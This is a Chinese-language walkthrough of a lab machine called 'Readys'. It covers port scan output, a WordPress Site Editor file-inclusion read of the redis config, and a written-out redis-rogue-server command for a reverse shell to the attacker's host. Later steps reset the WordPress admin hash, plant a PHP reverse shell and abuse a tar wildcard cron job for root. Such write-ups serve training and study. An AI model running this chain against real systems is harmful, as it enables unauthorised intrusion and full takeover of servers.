老样子先看端口发现存在wordprss和redis服务,有意思的靶机
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
|_ 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Readys – Just another WordPress site
|_http-generator: WordPress 5.7.2
|_http-server-header: Apache/2.4.38 (Debian)
6379/tcp open redis Redis key-value store
初始访问80端口映入眼帘的就是wordpress标准页面,于是我果断掏出wpscan
先来个密码爆破,结果密码爆不出来(用户枚举在第一步就做了,只有一个admin账号,剩下可以肯定的是密码绝对爆不出来),但是有一个插件的版本给了出来,那肯定要去看看exp呀
然后在google中看到了这个插件存在为文件读取的漏洞,果断复制一下试试可以复现不
结果一下子看到了passwd文件内容证明了漏洞的有效性,但是我后续读密钥失败了,证明我的方向是错误的,但是我后来又一想redis服务开着呢,是不是要去读redis的密码一类的
但是我不知道redis的配置文件在哪里,果断度娘起手知道了redis的配置文件目录
然后再搜索发现redis的密码也在那个conf文件中,我当时就有了一点点小小的思路
先读取这个配置文件得到了redis的密码,那随后肯定要去登录利用一下
经过我简单的查询了一下武器库,发现了个构造恶意服务器的脚本,可以做到反弹shell的操作
python3 redis-rogue-server.py --rhost 192.168.52.166 --lhost 192.168.49.52 --lport 6379 --passwd=Ready4Redis?
这里也是成功拿到了redis的权限,但是此时我们的权限低到可怕,那只能运行一下linpeas看看能不能转一下用户
结果真让我看到一个票据,这个要用数据库登录,其他什么wordpress登录,su用户登录尝试都不行
在这一步下我们成功进入到了MySQL数据库
然后在这个数据库中就是无聊的找文件的过程了,我就不多说了,大家直接看图就行
然后我们在这个wp_users中看到了一个admin票据,但是这个hash也是爆不出来。。。
不过好在经过外援帮助,我们拿到了一个这个wordpress密码网站,可以直接生成替换更改好密码的hash的命令
然后复制粘贴即可,更改成功admin用户的密码
尝试登录wordpress成功拿下
后续就是找可以更改的php文件,我这里找的是那个插件的index.php,因为在之前的枚举中知道了他的绝对路径,所以就用了这个,也是填写反弹shell的php源码
直接点击,会出现这个,但是不要慌
查看我们的监听端口发现成功拿到了alice用户的shell
又是一轮的linpeas的扫描,这回我们发现了crontab底下存在一个脚本文件
通过查看这个脚本文件,我们发现了这个文件会在/var/www/html底下用tar压缩所有文件
那这个我熟呀,直接走起,不过这里我是选择执行一个我定义的反弹shell的脚本
最后也是成功拿到root shell
总结:
这个靶场比较绕,需要你有联想的空间,然后唯一我觉得需要说的点就是linpeas在这里是不完全跑完的,会卡在redis服务那里,但是不影响大家提权,这里只是说一下省的大家会担心是不是环境出问题或者等太久,然后还有一点就是那个redis的py脚本加上wordpress的hash构造我觉得挺有意思的都放在链接里了,大家可以充当收藏啥的或者增添一下武器库
链接:
example_hashes [hashcat wiki]
tar | GTFOBins
WordPress Plugin Site Editor 1.1.1 - Local File Inclusion - PHP webapps Exploit
Wordpress Password Hash Generator